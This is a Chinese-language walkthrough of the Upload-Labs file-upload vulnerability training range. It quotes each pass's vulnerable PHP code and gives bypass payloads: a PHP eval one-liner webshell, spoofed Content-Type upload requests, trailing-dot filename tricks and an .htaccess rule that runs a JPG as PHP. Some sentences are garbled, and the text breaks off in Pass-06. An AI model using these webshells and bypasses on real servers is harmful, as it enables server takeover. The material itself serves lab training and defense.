Upload-Labs通关
- 靶场介绍
- 安装
- 上传漏洞介绍文件
- BurpSuite的简单使用
-
-
- 安装BurpSuite
- 配合Firefox使用
-
- 万能WebShell
- 正文开始
-
-
- Pass-01
- Pass-02
- Pass-03
- Pass-04
- Pass-05
- Pass-06
- Pass-07
- Pass-08
- Pass-09
- Pass-10
- Pass-11
- Pass-12
- Pass-13
- Pass-14
- Pass-15
- Pass-16
- Pass-17
-
- GIF图片绕过
- PNG图片绕过
- Pass-18
- Pass-19
- Pass-20
- Pass-21
-
- 附录
-
-
- MIME类型
- PNG图片结构
- ::$DATA标记
- PHP别名在文件中很常见
- PHP超全局变量
- 常见PHP函数参考手册
-
靶场介绍
Upload-Labs是一个使用PHP语言编写,专注于文件上传漏洞的突破性网络安全靶场。实践靶场可以有效地理解和掌握文件上传漏洞的原理、使用方法和修复方案。 GitHub项目地址 提醒:学习这个靶场只需要Firefox、BurpSuite和PHP基础知识可以,不会PHP请先看菜鸟教程。
安装
Upload-Labs环境如下:
- Windows建议用户使用,Linux建议用户使用。下载地址: - PHPStudy官网 - XAMPP官网
- PHP建议使用版本,否则部分Pass也许不能绕过。
- 以下需要打开PHP组件:
- Apache以方式连接。
- 特别提醒:在Linux上运行。
- 废话不多说,开整。
上传漏洞介绍文件
有必要在练习靶场之前介绍文件上传的漏洞。 顾名思义,文件上传的漏洞是攻击者通过一些方法绕过客户端验证(JavaScript前端验证,100%可以用中间人攻击绕过)和服务端验证(如后缀名、MIME类型验证)上传非预期脚本文件导致服务器植入木马,获得服务器命令执行权,一般为高风险漏洞。
常见的防御方法:
- 前端验证(防君子):最好在前端过滤文件的后缀名。只留下允许上传的文件后缀名,但是攻击者(恶棍)很容易绕过前端验证。
- 后端文件名验证:后端执行文件后缀名白名单校验,不在白名单内的。
- 文件头验证:检查文件头与后缀名是否匹配。
- :将上传的文件放入另一个特殊的文件服务器(类似于站库分离);如果没有文件服务器,取消上传目录的执行权;上传文件重新命名,必要时上传路径不显示。
BurpSuite的简单使用
BurpSuite是一款神仙般的用于攻击Web应用程序集成平台包含许多工具。 常用模块: 1.Proxy(HTTP/HTTPS数据包拦截修改器) 2.Spider(网络爬虫) 3.Scanner(智能漏洞扫描器,) 4.Intruder(可定制工具,对Web应用程序执行自动攻击) 5.Repeater(手动发送HTTP/HTTPS请求包) 6.Sequencer 7.Decoder(用于编码/解码各种数据) 8.Comparer 以下只介绍本教程常用的内容Proxy模块
安装BurpSuite
BurpSuite使用Java语言开发,请下载安装Java运行环境(JRE)。 BurpSuite官网 Java JRE
配合Firefox使用
1.双击启动BurpSuite。 2.依次点击依次Next”和“Start Burp”按钮启动BurpSuite。 3.点击“Proxy进入选项卡HTTP(S)包拦截界面。默认代理地址:127.0.0.1:8080,点击“Intercept is off开始拦截,再次点击关闭拦截。 4.在Firefox在设置中找到代理.0.0.1:8080也可以用FoxyProxy易于设置插件代理。
万能WebShell
<?php @eval($_POST['cmd']); ?> // PHP一句话,用中国蚁剑连接 <?php phpinfo(); ?> // 只显示,便于观察PHP无控制功能的基本信息
正文开始
Pass-01
任务:上传一个WebShell到服务器。 提示:本pass使用客户端js检查非法图片! 源代码:
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
分析:使用JavaScript在客户端验证,直接禁用JavaScript即可。也可以将WebShell后缀名改为.jpg后使用BurpSuite拦截改包,将后缀名改为.php绕过。 防御方法:一定要加后端验证!!详细方法之后讨论。
Pass-02
任务:上传一个webshell到服务器。 提示:本pass在服务端对数据包的MIME进行检查! 源代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
分析:Pass-02的后端验证仅仅使用了MIME类型进行验证,这样是不安全的。我们仍然可以使用BurpSuite绕过验证。将Content-type改为image/png即可。 HTTP EXP:
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png // 将Content-type改为白名单中的类型即可
<?php phpinfo(); ?>
成功上传
Pass-03
任务:上传一个WebShell到服务器。 提示:本pass禁止上传.asp|.aspx|.php|.jsp后缀文件! 源代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
分析: Pass-03进行了如下防护操作:1.黑名单为.asp .aspx.php.jsp 2.删除文件名首尾空格 3.删除文件名末尾的点 4.将后缀名转为小写 5.去除::$DATA数据流标记 6.使用随机数重命名文件。但我们可以。
HTTP EXP:直接将shell.php改为或其他别名上传即可。
Pass-04
任务:上传一个WebShell到服务器。 提示:本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件! 源代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
分析1: Pass-04做了如下防护操作:1.黑名单包含了大多数脚本后缀名 2.删除文件名首尾空格 3.删除文件名末尾的点 4.将后缀名转为小写 5.去除::$DATA数据流标记。但代码中,所以我们可以使最后经过滤的文件后缀名仍为.php。 分析2:可以使用htaccess解析漏洞进行攻击。
<FilesMatch "shell.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
代码中未限制.htaccess文件上传,上传以上内容的.htaccess文件后会将shell.jpg当成PHP文件解析执行。
HTTP EXP1:将文件后缀名改为“”的格式,这样,成功绕过黑名单上传。,最后变为shell.php。
Content-Disposition: form-data; name="upload_file"; filename="shell.php. ."
HTTP EXP2:上传.htaccess文件和shell.jpg。
Pass-05
任务:上传一个WebShell到服务器。 提示:上传目录存在php文件(readme.php) // 其实感觉提示不看也没关系。。 源代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
分析:和Pass-04一样,代码中只过滤了一次点,删除了空格和::$DATA,将文件后缀改为小写,黑名单等,使用Pass-04的方法绕过即可。但黑名单中屏蔽了.htaccess文件。
HTTP EXP:文件名改为“shell.php. . ”。
Pass-06
任务:上传一个WebShell到服务器。 提示:本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|后缀文件!
源代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file'<